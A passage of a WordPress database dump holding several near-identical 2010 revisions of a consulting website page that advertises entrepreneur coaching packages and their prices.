experience::</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game of turning possibility into acheivement)\r\nlifestyle design, ( methods and tactics for creating the life experience you truly want)</strong><strong>\r\nvalue creation ( innovation / creativity / product development / service to others )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing, communications and sales)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">As a successful entrepreneur, for over 25 years, I"ve been helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have helped many diverse early-stage entrepreneurs set a strong foundation for their future growth and success. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help others succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth helping early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future. I provide several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers, start-up entrepreneurs, professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create and pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-11-28 15:45:20', '2010-11-28 22:45:20', '', 138, 'http://www.whitehotcenter.com/2010/11/28/138-revision-81/', 0, 'revision', '', 0);
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(1279, 2, '2010-11-28 15:47:42', '2010-11-28 22:47:42', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.\r\n</span></h2>\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>I provide insight, guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth,\r\n(the inner game of turning possibility into acheivement)\r\nlifestyle design,\r\n( methods and tactics for creating the life experience you truly want)</strong><strong>\r\nvalue creation\r\n( innovation / creativity / product development / service to others )</strong><strong>\r\ndemand generation,\r\n( targeting, positioning, branding, marketing, communications and sales)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">As a successful entrepreneur, for over 25 years, I"ve been helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have helped many diverse early-stage entrepreneurs set a strong foundation for their future growth and success. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help others succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth helping early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future. I provide several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers, start-up entrepreneurs, professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-11-28 15:47:42', '2010-11-28 22:47:42', '', 138, 'http://www.whitehotcenter.com/2010/11/28/138-revision-82/', 0, 'revision', '', 0),
(1280, 2, '2010-11-28 15:50:29', '2010-11-28 22:50:29', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.\r\n</span></h2>\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>I provide insight, guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. </span></span></strong>\r\n\r\n<strong><span style="color: #ff6600;"><span style="color: #333333;">Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth,\r\nmastery of the inner game of turning possibility into achievement.\r\nlifestyle design,\r\nmethods and tactics for creating the life experience you truly want.</strong><strong>\r\nvalue creation,\r\ninnovation / creativity / product development / service to others.</strong><strong>\r\ndemand generation,\r\nstrategies and tactics for targeting, positioning, branding, marketing, communications and sales.</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">As a successful entrepreneur, for over 25 years, I"ve been helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have helped many diverse early-stage entrepreneurs set a strong foundation for their future growth and success. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help others succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth helping early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future. I provide several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers, start-up entrepreneurs, professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-11-28 15:50:29', '2010-11-28 22:50:29', '', 138, 'http://www.whitehotcenter.com/2010/11/28/138-revision-83/', 0, 'revision', '', 0),
(1281, 2, '2010-11-28 15:52:11', '2010-11-28 22:52:11', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.\r\n</span></h2>\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>I provide insight, guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. </span></span></strong>\r\n\r\n<strong><span style="color: #ff6600;"><span style="color: #333333;">Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><strong> personal and professional growth,\r\nmastery of the inner game of turning possibility into achievement.\r\nlifestyle design,\r\nmethods and tactics for creating the life experience you truly want.</strong><strong>\r\nvalue creation,\r\ninnovation / creativity / product development / service to others.</strong><strong>\r\ndemand generation,\r\nstrategies and tactics for targeting, positioning, branding, marketing, communications and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;">A</span>s a successful entrepreneur, for over 25 years, I"ve been helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have helped many diverse early-stage entrepreneurs set a strong foundation for their future growth and success. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help others succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth helping early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future. I provide several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers, start-up entrepreneurs, professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-11-28 15:52:11', '2010-11-28 22:52:11', '', 138, 'http://www.whitehotcenter.com/2010/11/28/138-revision-84/', 0, 'revision', '', 0),
(1283, 2, '2010-12-01 17:03:19', '2010-12-02 00:03:19', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.\r\n</span></h2>\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>I provide insight, guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><strong> personal and professional growth–\r\nto develop mastery of the inner game of turning possibility into achievement.\r\nlifestyle design–\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\nvalue creation–\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\ndemand generation–\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have helped many diverse early-stage entrepreneurs set a strong foundation for their future growth and success. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help others succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth helping early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future. To help you accomplish your vision, I provide several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers, start-up entrepreneurs, professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 17:03:19', '2010-12-02 